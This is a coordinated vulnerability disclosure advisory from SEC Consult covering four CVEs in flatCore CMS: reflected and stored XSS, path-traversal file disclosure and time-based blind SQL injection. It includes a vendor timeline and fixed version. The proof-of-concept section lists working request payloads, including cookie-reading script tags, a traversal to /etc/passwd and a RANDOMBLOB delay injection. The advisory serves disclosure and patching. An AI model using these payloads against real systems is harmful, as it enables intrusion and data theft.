SEC Consult Vulnerability Lab Security Advisory < 20210113-1 >
=======================================================================
              title: Multiple Vulnerabilities
            product: flatCore CMS
 vulnerable version: < 2.0.0 Build 139
      fixed version: Release 2.0.0 Build 139
         CVE number: CVE-2021-23835, CVE-2021-23836, CVE-2021-23837, CVE-2021-23838
             impact: High
           homepage: https://flatcore.org/
              found: 2020-11-20
                 by: Yew Chung Cheah (Office Singapore)
                     Calvin Phang (Office Singapore)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult, an Atos company
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"flatCore is based on PHP and PDO/SQLite. The Core is as minimalistic as
possible, but can be easily extended by the modular structure. If you are
looking for a solution to edit your website live and with ease, flatCore
may be your buddy."

Source: https://flatcore.org/


Business recommendation:
------------------------
The vendor provides an updated version which should be installed immediately.

An in-depth security analysis performed by security professionals is highly
advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1) Reflected Cross-Site Scripting (Authenticated user) (CVE-2021-23838)
A reflected cross-site scripting vulnerability was identified in the 'media_filter'
HTTP request body parameter for the 'acp' interface. The affected parameter
accepts malicious client side script without proper input sanitization. For
example, a malicious user can leverage this vulnerability to steal cookies
from a victim user and perform a session hijacking attack which may then lead to
unauthorized access to the site.

2) Stored Cross-Site Scripting (Authenticated user) (CVE-2021-23836)
A stored cross-site scripting vulnerability was identified in the 'prefs_smtp_psw'
HTTP request body parameter for the 'acp' interface. An admin user can inject
malicious client side script to the affected parameter without any form of
input sanitization. The injected payload will be executed in the browser of a
user whenever one visits the affected module page.

3) Local File Disclosure (Authenticated user) (CVE-2021-23835)
A local file disclosure vulnerability was identified in the 'docs_file'
HTTP request body parameter for the 'acp' interface which can be exploited with
admin access rights. The affected parameter which retrieves the contents of the
specified file was found to be accepting malicious user inputs without proper input
sanitization, thus leading to retrieval of backend server sensitive files, for
example /etc/passwd, sqlite database files, PHP source code etc.

4) Time Based Blind SQL Injection (Authenticated user) (CVE-2021-23837)
A time based blind SQL injection was identified in the 'selected_folder'
HTTP request body parameter for the 'acp' interface. The affected parameter
which retrieves the file contents of the specified folder was found to be
accepting malicious user inputs without proper input sanitization, thus leading
to SQL injection. Database related information can be successfully retrieved.


Proof of concept:
-----------------
1) Reflected Cross-Site Scripting (Authenticated user) (CVE-2021-23838)
An authenticated admin user can exploit this vulnerability by manipulating
the 'media_filter' parameter found in the Files/ Manage Files module.

URL : http://$HOST/acp/acp.php?tn=filebrowser&sub=browse
METHOD : POST
PARAMETER : media_filter
PAYLOAD : aaa%3cscript%3ealert(document.cookie)%3c%2fscript%3ebbb

2) Stored Cross-Site Scripting (Authenticated user) (CVE-2021-23836)
An authenticated admin user can exploit this vulnerability by manipulating
the 'prefs_smtp_psw' parameter found in the System/ E-Mail module.

URL : http://$HOST/acp/acp.php?tn=system&sub=mail
METHOD : POST
PARAMETER : prefs_smtp_psw
PAYLOAD : '%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3eaaabbb

3) Local File Disclosure (Authenticated user) (CVE-2021-23835)
An authenticated admin user can exploit this vulnerability by manipulating
the 'docs_file' parameter found in the help module.

URL : http://$HOST/acp/acp.php
METHOD : POST
PARAMETER : docs_file
PAYLOAD : %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

4) Time Based Blind SQL Injection (Authenticated user) (CVE-2021-23837)
An authenticated admin user can exploit this vulnerability by manipulating
the 'selected_folder' parameter found in the Files/ Manage Files module.

URL : http://$HOST/acp/acp.php?tn=filebrowser&sub=browse
METHOD : POST
PARAMETER : selected_folder
PAYLOAD : %' AND 8483=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'eJQr%'='eJQr


Vulnerable / tested versions:
-----------------------------
flatCore CMS version 2.0.0 (Build 122) has been tested, which was the latest
version available at the time of the test. Previous versions may also be affected.


Vendor contact timeline:
------------------------
2020-12-14 | Contacting vendor through support@flatcore.de
2020-12-17 | Advisory sent to the vendor
2020-12-31 | Requesting status update from vendor
2021-01-05 | Vendor replied that the reported issues have been fixed in
             version 2.0.0 (Build 139) released at their official GitHub page
2021-01-13 | Release of security advisory.


Solution:
---------
The fixed version 2.0.0 (Build 139) is available for download at:
https://github.com/flatCore/flatCore-CMS


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

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and valid recommendation about the risk profile of new technologies.

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EOF Yew Chung Cheah, Calvin Phang / @2021